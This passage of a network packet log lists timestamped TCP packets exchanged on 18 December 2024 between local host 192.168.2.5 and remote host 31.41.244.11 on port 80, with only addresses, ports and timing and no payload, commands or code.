Dec 18, 2024 21:30:47.670753956 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.670764923 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.671392918 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.671405077 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.671443939 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.672122002 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.672135115 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.672192097 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.672782898 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.672795057 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.672806025 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.672837019 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.672852039 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.673471928 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.673497915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.673538923 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.674130917 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.674149990 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.674190998 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.674820900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.674834013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.674863100 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.674896002 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.675523043 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.675534964 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.675575972 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.676188946 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.676203966 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.676220894 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.676243067 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.676255941 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.676806927 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.677021980 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.837276936 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.837327957 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.837338924 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.837574959 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.837862015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.837918043 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.838119984 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.838130951 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.838165998 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.838736057 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.838747025 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.838799953 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.839217901 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.839241982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.839270115 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.839298964 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.839837074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.839852095 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.839884043 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.840303898 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.840316057 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.840347052 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.840814114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.840825081 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.840854883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.841379881 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.841391087 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.841423988 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.842025995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.842036963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.842070103 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.842750072 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.842761040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.842791080 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.843424082 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.843436003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.843463898 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.844063997 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.844080925 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.844091892 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.844104052 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.844129086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.844809055 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.844821930 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.844850063 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.844873905 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.845554113 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.845566988 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.845593929 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.845607996 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.846251965 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.846263885 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.846295118 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.846313000 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.846946001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.846959114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.846970081 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.846987963 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.847009897 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.847584009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.847596884 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.847630978 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.848222971 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.848236084 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.848268986 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.848994017 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.849005938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.849040985 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.849606991 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.849618912 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.849651098 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.850339890 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.850353003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.850363970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.850380898 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.850402117 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.850975037 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.850986958 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.851016045 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.851037025 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.851634026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.851667881 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.851672888 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.851706028 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.852323055 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.852349043 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.852365971 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.852418900 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.853066921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.853080034 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.853091002 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.853105068 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.853120089 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.853781939 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.853809118 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.853822947 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.853843927 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.854511976 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.854536057 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.854557991 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.854576111 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.855145931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.855168104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.855191946 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.855217934 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.855895996 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.855921984 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.855954885 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.855972052 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.856710911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.856730938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.856741905 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.856770039 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.856795073 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.857280970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.857341051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.857387066 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.858118057 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.858129978 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.858177900 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.858675003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.858686924 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.858733892 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.859342098 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.859354973 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.859365940 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.859389067 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.859424114 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.859967947 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.859982014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.860027075 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.860624075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.860636950 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.860665083 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.860697031 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.861383915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.861396074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.861440897 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.862005949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.862025023 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.862082005 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.862680912 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.862693071 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.862720966 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.862730026 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.862760067 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.863418102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.863429070 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.863476038 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.864109993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.864123106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.864165068 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.864742994 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.864753962 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.864799976 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.865437031 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.865447998 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.865459919 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.865480900 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.865494013 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.866147995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.866175890 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.866220951 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.866906881 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.866919041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.866961956 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.867882967 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.867894888 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.867929935 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.868364096 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.868402004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.868448019 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.869072914 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.869085073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.869093895 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.869128942 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.869148016 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.028645992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.028755903 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.028831959 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.028870106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.029351950 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.029365063 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.029402971 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.029418945 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.030004025 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.030313015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.030365944 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.030699015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.030709982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.030756950 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.031424999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.031647921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.031696081 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.032001972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.032013893 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.032047033 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.032576084 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.032845020 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.032856941 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.032896042 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.033461094 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.033473969 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.033508062 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.034158945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.034178972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.034204960 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.034228086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.035104036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.035115957 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.035156012 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.035701036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.035712957 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.035763025 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.036482096 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.036494970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.036536932 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.037106037 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.037117958 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.037127972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.037148952 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.037163973 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.037677050 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.037688971 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.037724018 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.038228989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.038240910 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.038274050 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.038290977 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.038877010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.038914919 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.038938999 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.038954020 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.039558887 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.039571047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.039581060 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.039613962 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.040159941 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.040173054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.040216923 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.040838003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.040855885 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.040899038 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.041507959 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.041546106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.041568995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.041591883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.042186975 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.042205095 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.042226076 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.042251110 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.043014050 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.043025970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.043035984 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.043061018 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.043087006 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.043837070 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.043848991 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.043890953 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.044399023 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.044410944 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.044452906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.045180082 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.045192003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.045223951 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.045250893 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.045747042 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.045764923 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.045775890 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.045811892 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.046331882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.046350002 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.046395063 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.047101021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.047112942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.047147036 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.047844887 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.047857046 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.047888994 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.048527956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.048547029 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.048594952 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.049236059 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.049248934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.049261093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.049279928 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.049307108 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.049880981 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.049892902 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.049937963 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.050908089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.050919056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.050962925 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.051567078 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.051579952 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.051615000 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.051640987 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.052182913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.052201986 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.052213907 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.052225113 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.052239895 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.052249908 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.052828074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.052840948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.052889109 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.053590059 CET	80	49819	31.41.244.11	192.168.2.5
